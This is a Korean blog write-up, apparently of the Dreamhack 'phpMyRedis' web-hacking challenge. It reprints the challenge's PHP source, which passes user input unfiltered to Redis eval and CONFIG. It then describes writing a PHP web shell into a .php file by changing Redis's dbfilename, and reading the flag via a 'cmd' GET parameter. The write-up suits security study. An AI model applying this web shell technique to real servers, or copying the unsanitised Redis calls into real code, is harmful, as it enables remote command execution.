<?php
include_once "./core.php";
?>
<html>
<head></head>
<link rel="stylesheet" href="/static/bulma.min.css" />
<body>
<div class="container card">
<div class="card-content">
<div class="columns">
<div class="column is-10">
<h1 class="title">phpMyRedis</h1>
</div>
<div>
<div class="column is-2"><a href="/config.php" class="card-footer-item">Config</a></div>
</div>
</div>
<form method="post">
<div class="field">
<label class="label">Command</label>
<div class="control">
<textarea class="textarea" name="cmd"><?=isset($_POST['cmd'])?$_POST['cmd']:'return 1;'?></textarea>
</div>
<label class="checkbox">
<input type="checkbox" name="save">Save
</label>
</div>
<div class="control">
<input class="button is-success" type="submit" value="submit">
</div>
</form>
<?php
if(isset($_POST['cmd'])){
$redis = new Redis();
$redis->connect($REDIS_HOST);
$ret = json_encode($redis->eval($_POST['cmd']));
echo '<h1 class="subtitle">Result</h1>';
echo "<pre>$ret</pre>";
if (!array_key_exists('history_cnt', $_SESSION)) {
$_SESSION['history_cnt'] = 0;
}
$_SESSION['history_'.$_SESSION['history_cnt']] = $_POST['cmd'];
$_SESSION['history_cnt'] += 1;
if(isset($_POST['save'])){
$path = './data/'. md5(session_id());
$data = '> ' . $_POST['cmd'] . PHP_EOL . str_repeat('-',50) . PHP_EOL . $ret;
file_put_contents($path, $data);
echo "saved at : <a target='_blank' href='$path'>$path</a>";
}
}
?>
</div>
</div>
<br/>
<div class="container card">
<div class="card-content">
<div class="columns">
<div class="column is-10">
<h1 class="title">Command History</h1>
</div>
<div class="column is-2"><a href="/reset.php" class="card-footer-item">Reset</a></div>
</div>
<div class="content">
<ul>
<?php
for($i=0; $i<$_SESSION['history_cnt']; $i++){
echo "<li>".$_SESSION['history_'.$i]."</li>";
}
?>
</ul>
</div>
</div>
</div>
</body>
</html>
index.php파일이다.
if(isset($_POST['cmd'])){
$redis = new Redis();
$redis->connect($REDIS_HOST);
$ret = json_encode($redis->eval($_POST['cmd']));
이 부분을 보면 cmd를 받아서 redis의 메모리에 json_encode로 저장한다.
<?php
include_once "./core.php";
?>
<html>
<head></head>
<link rel="stylesheet" href="/static/bulma.min.css" />
<body>
<div class="container card">
<div class="card-content">
<div class="columns">
<div class="column is-10">
<h1 class="title">phpMyRedis</h1>
</div>
<div>
<div class="column is-2"><a href="/" class="card-footer-item">Command</a></div>
</div>
</div>
<form method="post">
<label class="label">Config</label>
<div class="field">
<div class="control">
<div class="select">
<select name="option">
<option>GET</option>
<option>SET</option>
</select>
</div>
</div>
</div>
<div class="field">
<label class="label">Key</label>
<div class="control">
<input class="input" type="text" name="key">
</div>
</div>
<div class="field">
<label class="label">Value</label>
<div class="control">
<input class="input" type="text" name="value">
</div>
</div>
<div class="control">
<input class="button is-success" type="submit" value="submit">
</div>
</form>
<?php
if(isset($_POST['option'])){
$redis = new Redis();
$redis->connect($REDIS_HOST);
if($_POST['option'] == 'GET'){
$ret = json_encode($redis->config($_POST['option'], $_POST['key']));
}elseif($_POST['option'] == 'SET'){
$ret = $redis->config($_POST['option'], $_POST['key'], $_POST['value']);
}else{
die('error !');
}
echo '<h1 class="subtitle">Result</h1>';
echo "<pre>$ret</pre>";
}
?>
</div>
</div>
</body>
</html>
config.php 파일이다.
php 부분만 보면 될거 같은데 SET일 때는 config 함수로 config를 수정할 수 있다.
여기서 메모리의 내용이 저장되는 파일을 임의의 파일로 설정을 바꿔줄 수 있다.
dbfilename으로 dreamhack.php로 바꿔주고
save를 10 1로 해주면 10초에 한번씩 변경되면 save가 된다.
이제 index.php부분에서 웹 셸코드를 올려준다.
return redis.call("set", "test", "<?php system($_GET['cmd']);?>");
이렇게 command를 작성해주면 된다.
이 셸코드가 dreamhack.php 파일에 저장될 것이고 이제 dreamhack.php파일의 cmd 변수를 GET방식으로 설정해주면 된다.
url에 /dreamhack.php?cmd=/flag 이런식으로 GET 요청을 보내면 셸 코드에서
system("/flag")가 실행되면서 값을 읽어와서 flag를 얻을 수 있다.
'웹해킹' 카테고리의 다른 글
드림핵 Command Injection Advanced 롸업 (0) | 2023.12.03 |
---|---|
Command Injection Advanced (0) | 2023.12.03 |
드림핵 NoSQL-CouchDB 롸업 (0) | 2023.12.03 |
NoSQL (0) | 2023.12.03 |
드림핵 sql injection bypass WAF Advanced 롸업 (0) | 2023.12.03 |